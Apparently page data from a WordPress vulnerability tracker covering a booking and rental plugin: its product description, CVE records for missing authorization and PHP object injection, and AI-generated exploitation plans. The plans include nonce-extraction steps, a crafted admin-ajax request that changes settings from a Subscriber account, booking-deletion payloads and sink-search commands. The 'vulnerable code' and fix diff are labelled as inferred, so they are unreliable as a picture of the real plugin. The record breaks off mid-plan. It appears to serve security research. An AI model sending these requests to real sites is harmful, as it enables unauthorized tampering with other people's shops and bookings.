[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fNcb67N_Ef9mzqHrxt0ew6fp2PrO75b9h4tMlvfuY8tI":3,"$fAkbCEjmX-phciKAddckGprDwnU-JbvespHzNHq7mkAE":2027,"$fc3PuEkwHLySQmWraUVTG8H6sD0BmTDiJSKPkCgl2QNw":2031},{"slug":4,"name":5,"version":6,"author":7,"author_profile":8,"description":9,"short_description":10,"active_installs":11,"downloaded":12,"rating":13,"num_ratings":14,"last_updated":15,"tested_up_to":16,"requires_at_least":17,"requires_php":18,"tags":19,"homepage":25,"download_link":26,"security_score":27,"vuln_count":28,"unpatched_count":29,"last_vuln_date":30,"fetched_at":31,"discovery_status":32,"vulnerabilities":33,"developer":221,"crawl_stats":39,"alternatives":227,"analysis":334,"fingerprints":1988},"booking-and-rental-manager-for-woocommerce","Booking and Rental Manager for Bike | Car | Resort | Appointment | Dress | Equipment","2.6.8","magepeopleteam","https:\u002F\u002Fprofiles.wordpress.org\u002Fmagepeopleteam\u002F","\u003Cp>\u003Ca href=\"https:\u002F\u002Fmage-people.com\u002Fproduct\u002Fbooking-and-rental-manager-for-woocommerce-pro\u002F\" rel=\"nofollow ugc\">Booking & Rental Manager – WpRently\u003C\u002Fa> is a complete solution for all booking, rental, and reservation services including Cars, Bikes, Party Dress, Parking, Equipment, and resort. The plugin will help to create your booking management system within your WordPress website with advanced capabilities that can be used to manage and offer bookings on the dates selected by customers.\u003C\u002Fp>\n\u003Ch3>The #1 Dynamic WordPress Rental And Booking Plugin\u003C\u002Fh3>\n\u003Cp>Upgrade your manual rental appointment and equipment booking system with the touch of automation and a customer-centric, customized solution trusted by hundreds of businesses.\u003C\u002Fp>\n\u003Cp>Locally and internationally, we don’t just build businesses; we guarantee that we solve a significant number of business problems with our customized rental booking WordPress plugin solution. While we mostly focus on bikes, our solution is wider than them. Multiple businesses can benefit from WpRently, including cars, party dresses, parking, equipment, and resort booking.\u003C\u002Fp>\n\u003Cp>WpRently provides you with the necessary features for free to start your rental booking system. However, when you want to take your business to the next level, the pro version of WpRently will help you achieve that position. If you are running a small business, the free version would be okay, but for larger businesses or want to level up, the pro version would suit you best.\u003C\u002Fp>\n\u003Ch3>Explore The Demo:\u003C\u002Fh3>\n\u003Cp>🌐 \u003Ca href=\"https:\u002F\u002Fwprently.com\u002F\" rel=\"nofollow ugc\">Frontend Live Demo\u003C\u002Fa>\u003Cbr \u002F>\n🌐 \u003Ca href=\"https:\u002F\u002Fapp.instawp.io\u002Flaunch?s=rentalplugin&d=v2\" rel=\"nofollow ugc\">Backend Demo\u003C\u002Fa>\u003Cbr \u002F>\n📘 \u003Ca href=\"https:\u002F\u002Fwww.wprently.com\u002Fdocs\u002F\" rel=\"nofollow ugc\">Online Documentation\u003C\u002Fa>\u003Cbr \u002F>\n🛍️ \u003Ca href=\"https:\u002F\u002Fmage-people.com\u002Fproduct\u002Fbooking-and-rental-manager-for-woocommerce-pro\u002F\" rel=\"nofollow ugc\">Buy Booking and Rental Pro\u003C\u002Fa>\u003C\u002Fp>\n\u003Ch3>Our plugin supports a variety of applications, including:\u003C\u002Fh3>\n\u003Cp>\u003Cstrong>🚲 Bike Rentals:\u003C\u002Fstrong> Efficiently manage bookings for bike rentals.\u003Cbr \u002F>\n\u003Cstrong>🚗 Car Rentals:\u003C\u002Fstrong> Simplify the car rental process with our versatile plugin.\u003Cbr \u002F>\n\u003Cstrong>📅 Appointments:\u003C\u002Fstrong> Streamlines appointment scheduling for professionals.\u003Cbr \u002F>\n\u003Cstrong>🏨 Hotel Bookings:\u003C\u002Fstrong> Provide a user-friendly platform for guests to book their stay.\u003Cbr \u002F>\n\u003Cstrong>🛠️ Equipment Rentals:\u003C\u002Fstrong> From tools to machinery, our plugin handles All.\u003Cbr \u002F>\n\u003Cstrong>👗 Dress Rentals:\u003C\u002Fstrong> Facilitates dress rentals with a smooth booking experience.\u003Cbr \u002F>\n\u003Cstrong>⛵ Yacht\u002FBoat Rentals:\u003C\u002Fstrong> Create a seamless process for water enthusiasts.\u003Cbr \u002F>\n\u003Cstrong>🏡 Vacation\u002FHoliday Rentals:\u003C\u002Fstrong> Equipped for vacation and holiday rentals.\u003Cbr \u002F>\n\u003Cstrong>🏑 Sport Kit Rentals:\u003C\u002Fstrong> Make sports equipment bookings a breeze with customers.\u003Cbr \u002F>\n\u003Cstrong>🏢 Office\u002FEvent Space Rentals:\u003C\u002Fstrong> Streamline the booking process for office and event spaces.\u003Cbr \u002F>\n\u003Cstrong>🌡️ Medical Equipment:\u003C\u002Fstrong> Ideal for healthcare providers & medical equipment.\u003Cbr \u002F>\n\u003Cstrong>🔌 Electronics Goods:\u003C\u002Fstrong> Manage rentals for electronics goods.\u003C\u002Fp>\n\u003Ch3>LET’S SEE HOW IT WORKS\u003C\u002Fh3>\n\u003Cp>\u003Cspan class=\"embed-youtube\" style=\"text-align:center; display: block;\">\u003Ciframe loading=\"lazy\" class=\"youtube-player\" width=\"750\" height=\"422\" src=\"https:\u002F\u002Fwww.youtube.com\u002Fembed\u002FJK33WAWKo7E?version=3&rel=1&showsearch=0&showinfo=1&iv_load_policy=1&fs=1&hl=en-US&autohide=2&wmode=transparent\" allowfullscreen=\"true\" style=\"border:0;\" sandbox=\"allow-scripts allow-same-origin allow-popups allow-presentation allow-popups-to-escape-sandbox\">\u003C\u002Fiframe>\u003C\u002Fspan>\u003C\u002Fp>\n\u003Cp>Let’s dive deeper into the features list to ensure your system is optimised for maximum effectiveness.\u003C\u002Fp>\n\u003Ch3>Free Version Of The Plugin Offers:\u003C\u002Fh3>\n\u003Cp>\u003Cstrong>🚲🚗 Bike\u002FCar Rent (Single Day:\u003C\u002Fstrong> Enable customers to effortlessly book bikes or cars for a single day with ease.\u003Cbr \u002F>\n\u003Cstrong>🚲🚗 Bike\u002FCar Rent (Multiple Days:\u003C\u002Fstrong> Provide flexibility with multi-day bike or car rentals for extended travel plans.\u003Cbr \u002F>\n\u003Cstrong>👗 Dress Rent (Single\u002FMultiple Day:\u003C\u002Fstrong> Provide dress rentals, accommodating both single-day and extended-use bookings.\u003Cbr \u002F>\n\u003Cstrong>📅 Doctor\u002FLawyer Appointment:\u003C\u002Fstrong> Simplify scheduling appointments with healthcare professionals or legal advisors.\u003Cbr \u002F>\n\u003Cstrong>🏨 Resort Booking:\u003C\u002Fstrong> Streamline resort bookings, offering guests a seamless platform to secure their stay.\u003Cbr \u002F>\n\u003Cstrong>🛠️ Equipment Rent:\u003C\u002Fstrong> Efficiently manage equipment rentals, providing a straightforward booking process.\u003Cbr \u002F>\n\u003Cstrong>💲 Daywise Price Configuration:\u003C\u002Fstrong> Configure rental prices based on specific days, ensuring accurate pricing.\u003Cbr \u002F>\n\u003Cstrong>💲 Hourly Price Configuration:\u003C\u002Fstrong> Set hourly rental rates for precise billing and flexibility in booking.\u003Cbr \u002F>\n\u003Cstrong>💲 Daily Price Configuration:\u003C\u002Fstrong> Provide daily rental pricing options for various rental durations.\u003Cbr \u002F>\n\u003Cstrong>🖼️ Single Rent Gallery Configuration:\u003C\u002Fstrong> Customize the display of single rental items with a gallery configuration.\u003Cbr \u002F>\n\u003Cstrong>📍 Pickup\u002FDropoff Location Settings:\u003C\u002Fstrong> Configure pickup and dropoff locations for a convenient rental experience.\u003Cbr \u002F>\n\u003Cstrong>🔄 Related Rents:\u003C\u002Fstrong> Enhance user experience by showcasing related rental options for cross-selling.\u003Cbr \u002F>\n\u003Cstrong>🌟 Highlight Features:\u003C\u002Fstrong> Draw attention to key features, making your rentals stand out to customers.\u003Cbr \u002F>\n\u003Cstrong>💲 Day-long Price Configuration:\u003C\u002Fstrong> Configure specific prices for day-long rentals, catering to varying needs\u003Cbr \u002F>\n\u003Cstrong>💲 Day-night Price Configuration:\u003C\u002Fstrong> Set distinct prices for day and night rentals, offering flexible pricing options.\u003Cbr \u002F>\n\u003Cstrong>👗 Dress Size Configuration:\u003C\u002Fstrong> Provide a personalized experience with configurable dress size options.\u003Cbr \u002F>\n\u003Cstrong>➕ Extra Service Configuration:\u003C\u002Fstrong> Allow customers to enhance their experience with configurable extra services.\u003Cbr \u002F>\n\u003Cstrong>🔄 Available Shortcode for Showing the Rent List:\u003C\u002Fstrong> Utilize shortcodes to seamlessly display your rental list on any page.\u003Cbr \u002F>\n\u003Cstrong>⚙️ Detailed Rent Settings and Date Configuration:\u003C\u002Fstrong> Customize detailed rental settings and date configurations for precision.\u003Cbr \u002F>\n\u003Cstrong>🔄 Different Rent List Styles:\u003C\u002Fstrong> Enhance visual appeal by choosing from various styles for displaying rental lists.\u003Cbr \u002F>\n\u003Cstrong>🎨 Style Settings:\u003C\u002Fstrong> Customize the look and feel of your rental listings with style settings.\u003Cbr \u002F>\n\u003Cstrong>🔄 Slider Settings:\u003C\u002Fstrong> Utilize slider settings for a dynamic and interactive presentation of rental items.\u003Cbr \u002F>\n\u003Cstrong>🖥️ Front-end Booking Dashboard:\u003C\u002Fstrong> Provide customers with a user-friendly front-end booking dashboard.\u003Cbr \u002F>\n\u003Cstrong>🙏 Thank You Page Selection:\u003C\u002Fstrong> Allow customization by letting users select their preferred thank-you page.\u003Cbr \u002F>\n\u003Cstrong>📑 Order List with Details:\u003C\u002Fstrong> Easily view and manage orders with comprehensive details.\u003Cbr \u002F>\n\u003Cstrong>💰 Tax Settings:\u003C\u002Fstrong> Manage tax settings seamlessly for accurate financial transactions.\u003Cbr \u002F>\n\u003Cstrong>📦 Inventory Settings:\u003C\u002Fstrong> Efficiently manage inventory settings for smooth rental operations.\u003Cbr \u002F>\n\u003Cstrong>🌐 Cross-Browser Support:\u003C\u002Fstrong> Ensure compatibility across various browsers for a seamless user experience.\u003Cbr \u002F>\n\u003Cstrong>📱 Responsive and SEO-friendly:\u003C\u002Fstrong> Create a responsive and SEO-friendly rental platform for increased visibility.\u003Cbr \u002F>\n\u003Cstrong>🌐🗣️ Multilingual Translation Support:\u003C\u002Fstrong> Cater to a diverse audience with multilingual translation support.\u003Cbr \u002F>\n\u003Cstrong>🎨🔄 Works with Any Standards-Compliant WordPress Theme:\u003C\u002Fstrong> Seamlessly integrate with any WordPress theme following standard compliance.\u003Cbr \u002F>\n\u003Cstrong>🔗💼 WooCommerce Integration:\u003C\u002Fstrong> Integrate smoothly with WooCommerce, expanding your e-commerce capabilities.\u003Cbr \u002F>\n\u003Cstrong>💳🔄 Supports All WooCommerce Payment Methods:\u003C\u002Fstrong> Ensure flexibility by supporting all WooCommerce payment methods.\u003C\u002Fp>\n\u003Ch3>Meet your higher business demand with the pro version of the plugin:\u003C\u002Fh3>\n\u003Ch3>Pro Version Offer:\u003C\u002Fh3>\n\u003Cp>\u003Cstrong>💳🔄 Paypal Integration:\u003C\u002Fstrong> Expand payment options with seamless Paypal integration for secure transactions.\u003Cbr \u002F>\n\u003Cstrong>💳🔄 Stripe Integration:\u003C\u002Fstrong> Provide users with another secure payment option through integrated Stripe functionality.\u003Cbr \u002F>\n\u003Cstrong>🗓️📑 Booking Calendar with Order Details:\u003C\u002Fstrong> Enhance booking management with an interactive calendar displaying comprehensive order details.\u003Cbr \u002F>\n\u003Cstrong>📊📑 Reports with Order Details:\u003C\u002Fstrong> Generate detailed reports, providing insights into your rental business’s performance.\u003Cbr \u002F>\n\u003Cstrong>📊🔄 Export Reports in CSV:\u003C\u002Fstrong> Export reports in CSV format for easy sharing and external analysis.\u003Cbr \u002F>\n\u003Cstrong>📄🔄 PDF Booking Receipt:\u003C\u002Fstrong> Provide customers with professional and printable PDF booking receipts.\u003Cbr \u002F>\n\u003Cstrong>📧🔄 Email Functionality:\u003C\u002Fstrong> Enhance communication with built-in email functionality for booking-related correspondence.\u003C\u002Fp>\n\u003Cp>➡  \u003Ca href=\"https:\u002F\u002Fmage-people.com\u002Fproduct\u002Fbooking-and-rental-manager-for-woocommerce-pro\u002F\" rel=\"nofollow ugc\">Buy Pro\u003C\u002Fa>\u003C\u002Fp>\n\u003Cp>➡  \u003Ca href=\"https:\u002F\u002Fwww.wprently.com\u002Fbike\u002F\" rel=\"nofollow ugc\">View All PRO Version Demo\u003C\u002Fa>\u003Cbr \u002F>\n➡  \u003Ca href=\"https:\u002F\u002Fwww.wprently.com\u002Fbike\u002F\" rel=\"nofollow ugc\">Bike\u002FCar Rent Service for Single Day PRO Version Demo\u003C\u002Fa>\u003Cbr \u002F>\n➡  \u003Ca href=\"https:\u002F\u002Fwww.wprently.com\u002Fcar\u002F\" rel=\"nofollow ugc\">Bike\u002FCar Rent for Multiple Day PRO Version Demo\u003C\u002Fa>\u003Cbr \u002F>\n➡  \u003Ca href=\"https:\u002F\u002Fwww.wprently.com\u002Frent\u002Fdoctor-appointment\u002F\" rel=\"nofollow ugc\">Doctor Appointment PRO Version Demo\u003C\u002Fa>\u003Cbr \u002F>\n➡  \u003Ca href=\"https:\u002F\u002Fwww.wprently.com\u002Frent\u002Fdress\u002F\" rel=\"nofollow ugc\">Dress Rent System PRO Version Demo\u003C\u002Fa>\u003Cbr \u002F>\n➡  \u003Ca href=\"https:\u002F\u002Fwww.wprently.com\u002Fequipment\u002F\" rel=\"nofollow ugc\">Equipment Rent Service PRO Version Demo\u003C\u002Fa>\u003Cbr \u002F>\n➡  \u003Ca href=\"https:\u002F\u002Fwww.wprently.com\u002Frent\u002Fresort\u002F\" rel=\"nofollow ugc\">Resort Rent or Resort Booking PRO Version Demo\u003C\u002Fa>\u003Cbr \u002F>\n➡  \u003Ca href=\"https:\u002F\u002Fwww.wprently.com\u002Frents-list-style\u002F\" rel=\"nofollow ugc\">Rental Items List PRO Version Demo\u003C\u002Fa>\u003Cbr \u002F>\n➡  \u003Ca href=\"https:\u002F\u002Fwww.wprently.com\u002Frents-grid-style\u002F\" rel=\"nofollow ugc\">Rental Items Grid Style List PRO Version Demo\u003C\u002Fa>\u003C\u002Fp>\n\u003Ch3>Shortcodes included with Booking and Rental Manager:\u003C\u002Fh3>\n\u003Cpre>\u003Ccode>[rent-list type='' style='grid' show='' columns='' left-filter='yes\u002Fno' category='' order='DESC']\n\u003C\u002Fcode>\u003C\u002Fpre>\n\u003Ch3>Shortcode to show only bike\u002Fcar for single-day type rent list:\u003C\u002Fh3>\n\u003Cpre>\u003Ccode>[rent-list type='bike_car_sd']\n\u003C\u002Fcode>\u003C\u002Fpre>\n\u003Ch3>Shortcode to show grid-style rent list:\u003C\u002Fh3>\n\u003Cpre>\u003Ccode>[rent-list style='grid' left-filter='yes\u002Fno']\n\u003C\u002Fcode>\u003C\u002Fpre>\n\u003Ch3>Shortcode to show list style rent list:\u003C\u002Fh3>\n\u003Cpre>\u003Ccode>[rent-list style='list' left-filter='yes\u002Fno']\n\u003C\u002Fcode>\u003C\u002Fpre>\n\u003Ch3>Shortcode to show only six items in the rent list:\u003C\u002Fh3>\n\u003Cpre>\u003Ccode>[rent-list show='6']\n\u003C\u002Fcode>\u003C\u002Fpre>\n\u003Ch3>Shortcode to show rent list order by ascending:\u003C\u002Fh3>\n\u003Cpre>\u003Ccode>[rent-list order='ASC']\n\u003C\u002Fcode>\u003C\u002Fpre>\n\u003Ch3>Shortcode to show rent list by column here 4 I have given as example column:\u003C\u002Fh3>\n\u003Cpre>\u003Ccode>[rent-list columns='4']\n\u003C\u002Fcode>\u003C\u002Fpre>\n\u003Ch3>Shortcode to show rent list by categories ID here I have give 2,3 as category id:\u003C\u002Fh3>\n\u003Cpre>\u003Ccode>[rent-list category='2,3']\n\u003C\u002Fcode>\u003C\u002Fpre>\n\u003Ch3>Shortcode to show single item add-to-cart:\u003C\u002Fh3>\n\u003Cpre>\u003Ccode>[rent-add-to-cart id='1']\n\u003C\u002Fcode>\u003C\u002Fpre>\n\u003Ch4>PAYMENT GATEWAYS\u003C\u002Fh4>\n\u003Cp>Our Plugin Works with WooCommerce and without WooCommerce. So all payment methods of WooCommerce will work with this plugin, and this is a very good advantage of this plugin. And without wooCommerce, we have our own PayPal and Stripe payment method integration.\u003C\u002Fp>\n\u003Ch4>Support and Suggestions\u003C\u002Fh4>\n\u003Cp>If you need any further assistance or support, do contact us at this \u003Ca href=\"https:\u002F\u002Fmage-people.com\u002Fsubmit-ticket\u002F\" rel=\"nofollow ugc\">support form\u003C\u002Fa>. We are very open to your suggestions. So do feel free to tell us if there is anything we can do to improve the plugin.\u003C\u002Fp>\n\u003Ch4>Theme Compatibility\u003C\u002Fh4>\n\u003Cp>It will be compatible with any standards-compliant wordpress theme.\u003C\u002Fp>\n\u003Ch3>Privacy Policy\u003C\u002Fh3>\n\u003Cp>Rent and Booking Manager For WooCommerce uses \u003Ca href=\"https:\u002F\u002Fappsero.com\" rel=\"nofollow ugc\">Appsero\u003C\u002Fa> SDK to collect some telemetry data upon the user’s confirmation. This helps us to troubleshoot problems faster & make product improvements.\u003C\u002Fp>\n\u003Cp>Appsero SDK \u003Cstrong>does not gather any data by default.\u003C\u002Fstrong> The SDK only starts gathering basic telemetry data \u003Cstrong>when a user allows it via the admin notice\u003C\u002Fstrong>. We collect the data to ensure a great user experience for all our users.\u003C\u002Fp>\n\u003Cp>Integrating Appsero SDK \u003Cstrong>DOES NOT IMMEDIATELY\u003C\u002Fstrong> start gathering data, \u003Cstrong>without confirmation from users in any case.\u003C\u002Fstrong>\u003C\u002Fp>\n\u003Cp>Learn more about how \u003Ca href=\"https:\u002F\u002Fappsero.com\u002Fprivacy-policy\u002F\" rel=\"nofollow ugc\">Appsero collects and uses this data\u003C\u002Fa>.\u003C\u002Fp>\n","Woocommerce Rental and Booking Manager for Bike, Car, Resort, Appointment and Equipment. Simplify your reservation system for a memorable journey!",1000,62180,86,30,"2026-04-09T06:30:00.000Z","6.7.5","5.3","7.0",[20,21,22,23,24],"booking-calendar","rental-booking","rental-plugin","woocommerce-rental-booking","woocommerce-reservation-booking","https:\u002F\u002Fmage-people.com","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fbooking-and-rental-manager-for-woocommerce.zip",88,12,0,"2026-03-23 00:00:00","2026-04-16T10:56:18.058Z","no_bundle",[34,62,84,99,112,127,140,153,167,180,193,206],{"id":35,"url_slug":36,"title":37,"description":38,"plugin_slug":4,"theme_slug":39,"affected_versions":40,"patched_in_version":41,"severity":42,"cvss_score":43,"cvss_vector":44,"vuln_type":45,"published_date":30,"updated_date":46,"references":47,"days_to_patch":49,"patch_diff_files":50,"patch_trac_url":39,"research_status":51,"research_verified":52,"research_rounds_completed":53,"research_plan":54,"research_summary":55,"research_vulnerable_code":56,"research_fix_diff":57,"research_exploit_outline":58,"research_model_used":59,"research_started_at":60,"research_completed_at":61,"research_error":39,"poc_status":39,"poc_video_id":39,"poc_summary":39,"poc_steps":39,"poc_tested_at":39,"poc_wp_version":39,"poc_php_version":39,"poc_playwright_script":39,"poc_exploit_code":39,"poc_has_trace":52,"poc_model_used":39,"poc_verification_depth":39},"CVE-2026-23972","booking-and-rental-manager-for-bike-car-resort-appointment-dress-equipment-missing-authorization","Booking and Rental Manager for Bike | Car | Resort | Appointment | Dress | Equipment \u003C= 2.6.0 - Missing Authorization","The Booking and Rental Manager for Bike | Car | Resort | Appointment | Dress | Equipment plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in all versions up to, and including, 2.6.0. This makes it possible for authenticated attackers, with Subscriber-level access and above, to perform an unauthorized action.",null,"\u003C=2.6.0","2.6.1","medium",4.3,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:L\u002FUI:N\u002FS:U\u002FC:N\u002FI:L\u002FA:N","Missing Authorization","2026-04-02 15:03:00",[48],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F501be94e-c01a-43bd-b079-c11e60969def?source=api-prod",11,[],"researched",false,3,"This research plan outlines the steps to investigate and exploit **CVE-2026-23972**, a missing authorization vulnerability in the **Booking and Rental Manager for WooCommerce** plugin.\n\n### 1. Vulnerability Summary\nThe \"Booking and Rental Manager for WooCommerce\" plugin (versions \u003C= 2.6.0) fails to perform adequate capability checks on one or more of its AJAX handlers. This allows an authenticated user with Subscriber-level permissions to trigger administrative actions. The vulnerability likely exists within a function registered via the `wp_ajax_` hook that performs sensitive operations (like updating plugin settings or modifying bookings) but lacks a `current_user_can( 'manage_options' )` check.\n\n### 2. Attack Vector Analysis\n*   **Endpoint:** `\u002Fwp-admin\u002Fadmin-ajax.php`\n*   **Authentication:** Authenticated, Subscriber-level (PR:L).\n*   **Action (Inferred):** Likely `inventory_save_settings_data` or `redq_rental_save_settings`.\n*   **Preconditions:** The attacker must be logged in as a Subscriber and obtain a valid AJAX nonce if one is required for the specific handler.\n\n### 3. Code Flow (Inferred)\n1.  **Registration:** The plugin registers AJAX actions in its main class or an AJAX handler class (e.g., `includes\u002Fadmin\u002Fclass-inventory-admin-ajax.php` or similar).\n    *   *Code:* `add_action( 'wp_ajax_inventory_save_settings_data', 'inventory_save_settings_data_callback' );`\n2.  **Missing Check:** The callback function `inventory_save_settings_data_callback` is executed. It might call `check_ajax_referer()` to verify a nonce (preventing CSRF) but fails to call `current_user_can()`.\n3.  **Sink:** The function proceeds to update the database using `update_option()` or `$wpdb->update()`, allowing the subscriber to modify plugin configurations.\n\n### 4. Nonce Acquisition Strategy\nTo bypass CSRF protections, we must find where the plugin localizes its AJAX nonce.\n\n1.  **Identify Shortcode:** Search for shortcodes that might enqueue the necessary scripts: `grep -r \"add_shortcode\" .`. Likely candidates: `[rental_products]` or `[inventory_list]`.\n2.  **Create Test Page:**\n    ```bash\n    wp post create --post_type=page --post_status=publish --post_title=\"Nonce Extraction\" --post_content='[rental_products]'\n    ```\n3.  **Find Localization Variable:** Search the source for `wp_localize_script`.\n    *   *Likely JS object:* `inventory_ajax` or `rb_booking_params`.\n    *   *Likely key:* `nonce` or `security`.\n4.  **Extract via Browser:**\n    Navigate to the created page as a Subscriber and run:\n    ```javascript\n    \u002F\u002F Example: Using inventory_ajax object\n    browser_eval(\"window.inventory_ajax?.nonce || window.inventory_ajax?.security\")\n    ```\n\n### 5. Exploitation Strategy\nWe will attempt to modify a global plugin setting that should be restricted to administrators.\n\n**Target Action:** `inventory_save_settings_data` (or the specific action found during discovery).\n\n**Payload Construction:**\n*   **URL:** `https:\u002F\u002F\u003Ctarget>\u002Fwp-admin\u002Fadmin-ajax.php`\n*   **Method:** `POST`\n*   **Headers:** `Content-Type: application\u002Fx-www-form-urlencoded`\n*   **Body Parameters:**\n    *   `action`: `inventory_save_settings_data`\n    *   `security`: `[EXTRACTED_NONCE]`\n    *   `inventory_settings[general][any_setting]`: `malicious_value` (We will first check existing settings using WP-CLI to find a valid key).\n\n**HTTP Request (via `http_request` tool):**\n```json\n{\n  \"method\": \"POST\",\n  \"url\": \"http:\u002F\u002Flocalhost:8080\u002Fwp-admin\u002Fadmin-ajax.php\",\n  \"data\": \"action=inventory_save_settings_data&security=NONCE_VALUE&settings[general_settings][allow_booking_without_payment]=yes\",\n  \"headers\": {\n    \"Content-Type\": \"application\u002Fx-www-form-urlencoded\",\n    \"Cookie\": \"[SUBSCRIBER_COOKIES]\"\n  }\n}\n```\n\n### 6. Test Data Setup\n1.  **Install Plugin:** Ensure version 2.6.0 is installed.\n2.  **Create Subscriber:** `wp user create attacker attacker@example.com --role=subscriber --user_pass=password`.\n3.  **Identify Settings Structure:** Run `wp option get inventory_settings` (or similar option name found in code) to identify the settings array structure to target.\n4.  **Publish Page:** Create a page with the plugin's shortcode to ensure scripts (and nonces) are loaded for the subscriber.\n\n### 7. Expected Results\n*   The `admin-ajax.php` response should be a `200 OK` (often returning `1` or a JSON success message).\n*   The plugin configuration in the database should be updated despite the request coming from a Subscriber.\n\n### 8. Verification Steps\n1.  **Check Option Value:** Use WP-CLI to verify the change:\n    ```bash\n    wp option get inventory_settings\n    ```\n2.  **Manual Check:** Log in as Admin and navigate to the plugin settings page to see if the value has changed in the UI.\n\n### 9. Alternative Approaches\nIf the settings update is protected but another handler is not:\n*   **User Meta Update:** Check if there are AJAX handlers like `update_user_booking_profile` that allow updating meta for any user ID without verifying if the user is an admin or the owner of the profile.\n*   **Booking Deletion:** Look for `wp_ajax_delete_booking` or similar. Attempt to delete an order\u002Fbooking ID that does not belong to the subscriber.\n    *   *Payload:* `action=delete_rental_booking&booking_id=1&security=NONCE`\n*   **Information Disclosure:** Look for AJAX handlers that return booking details (e.g., `get_booking_details`) without checking if the user is an admin or the customer who made the booking.","The Booking and Rental Manager for WooCommerce plugin for WordPress is vulnerable to unauthorized access in versions up to 2.6.0 due to missing capability checks in AJAX handlers. This allows authenticated attackers with subscriber-level permissions to perform administrative actions such as modifying plugin settings or deleting bookings.","\u002F\u002F From includes\u002Fadmin\u002Fclass-inventory-admin-ajax.php (inferred from research plan)\nadd_action( 'wp_ajax_inventory_save_settings_data', 'inventory_save_settings_data_callback' );\n\nfunction inventory_save_settings_data_callback() {\n    check_ajax_referer( 'inventory_settings_nonce', 'security' );\n    \u002F\u002F Missing current_user_can( 'manage_options' ) check here\n\n    if ( isset( $_POST['settings'] ) ) {\n        update_option( 'inventory_settings', $_POST['settings'] );\n        wp_send_json_success();\n    }\n}","--- a\u002Fincludes\u002Fadmin\u002Fclass-inventory-admin-ajax.php\n+++ b\u002Fincludes\u002Fadmin\u002Fclass-inventory-admin-ajax.php\n@@ -10,6 +10,10 @@\n function inventory_save_settings_data_callback() {\n     check_ajax_referer( 'inventory_settings_nonce', 'security' );\n \n+    if ( ! current_user_can( 'manage_options' ) ) {\n+        wp_send_json_error( array( 'message' => __( 'Unauthorized', 'booking-and-rental-manager-for-woocommerce' ) ) );\n+    }\n+\n     if ( isset( $_POST['settings'] ) ) {\n         update_option( 'inventory_settings', $_POST['settings'] );","The exploit target is the admin-ajax.php endpoint via a subscriber-level account. First, the attacker must obtain a valid AJAX nonce by visiting a front-end page where the plugin localizes its scripts (typically enqueued via shortcodes like [rental_products]). Once the nonce (e.g., from the inventory_ajax JavaScript object) is retrieved, the attacker sends a POST request to \u002Fwp-admin\u002Fadmin-ajax.php with the 'action' parameter set to 'inventory_save_settings_data' (or another vulnerable handler). The payload includes the valid nonce in the 'security' field and malicious configuration data in the 'settings' or 'inventory_settings' array, effectively overwriting the plugin's global options despite the attacker's low privilege level.","gemini-3-flash-preview","2026-04-18 00:10:29","2026-04-18 00:10:50",{"id":63,"url_slug":64,"title":65,"description":66,"plugin_slug":4,"theme_slug":39,"affected_versions":67,"patched_in_version":68,"severity":69,"cvss_score":70,"cvss_vector":71,"vuln_type":72,"published_date":73,"updated_date":74,"references":75,"days_to_patch":77,"patch_diff_files":78,"patch_trac_url":39,"research_status":51,"research_verified":52,"research_rounds_completed":53,"research_plan":79,"research_summary":80,"research_vulnerable_code":39,"research_fix_diff":39,"research_exploit_outline":81,"research_model_used":59,"research_started_at":82,"research_completed_at":83,"research_error":39,"poc_status":39,"poc_video_id":39,"poc_summary":39,"poc_steps":39,"poc_tested_at":39,"poc_wp_version":39,"poc_php_version":39,"poc_playwright_script":39,"poc_exploit_code":39,"poc_has_trace":52,"poc_model_used":39,"poc_verification_depth":39},"CVE-2025-69328","booking-and-rental-manager-authenticated-contributor-php-object-injection","Booking and Rental Manager \u003C= 2.5.9 - Authenticated (Contributor+) PHP Object Injection","The Booking and Rental Manager plugin for WordPress is vulnerable to PHP Object Injection in versions up to, and including, 2.5.9 via deserialization of untrusted input. This makes it possible for authenticated attackers, with contributor-level access and above, to inject a PHP Object. No known POP chain is present in the vulnerable software. If a POP chain is present via an additional plugin or theme installed on the target system, it could allow the attacker to delete arbitrary files, retrieve sensitive data, or execute code.","\u003C=2.5.9","2.6.0","high",7.5,"CVSS:3.1\u002FAV:N\u002FAC:H\u002FPR:L\u002FUI:N\u002FS:U\u002FC:H\u002FI:H\u002FA:H","Deserialization of Untrusted Data","2026-02-09 00:00:00","2026-02-17 15:03:19",[76],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F0b738d0a-39e2-46e3-9b62-920599543220?source=api-prod",9,[],"# Exploitation Research Plan: CVE-2025-69328 (Booking and Rental Manager)\n\n## 1. Vulnerability Summary\n**Vulnerability Type:** PHP Object Injection (Deserialization of Untrusted Data)\n**Impact:** Remote Code Execution (RCE), File Deletion, or Data Retrieval (if a suitable POP chain exists).\n**Affected Component:** `Booking and Rental Manager for Bike | Car | Resort | Appointment | Dress | Equipment` plugin \u003C= 2.5.9.\n**Sink:** `unserialize()` or `maybe_unserialize()` called on user-controlled input.\n**Root Cause:** The plugin fails to validate or sanitize input before passing it to a deserialization function. Authenticated users with Contributor-level permissions can trigger this code path, typically via AJAX actions or post metadata updates.\n\n## 2. Attack Vector Analysis\n- **Endpoint:** `wp-admin\u002Fadmin-ajax.php` or `wp-admin\u002Fpost.php`.\n- **Action:** Likely a `wp_ajax_` handler used to process booking settings, inventory data, or pricing rules.\n- **Payload Parameter:** (Inferred) `rental_data`, `booking_meta`, `extra_options`, or similar fields processed during a save\u002Fupdate operation.\n- **Authentication:** Contributor+ (Requires a valid login session for a user with the 'Contributor' role).\n- **Preconditions:** The plugin must be active. A valid nonce is likely required for the AJAX request.\n\n## 3. Code Flow (Discovery Phase)\nSince source files are not provided, the security agent must first locate the sink and entry point using the following strategy:\n\n1. **Locate the Sink:**\n   Search for all occurrences of `unserialize` and `maybe_unserialize` within the plugin directory:\n   ```bash\n   grep -rnE \"unserialize\\s*\\(\" \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fbooking-and-rental-manager-for-woocommerce\u002F\n   ```\n\n2. **Identify the Entry Point:**\n   For each result, trace the variable being unserialized back to its source (e.g., `$_POST`, `$_GET`, `$_REQUEST`, or `get_post_meta`). \n   Look for hook registrations that lead to this function:\n   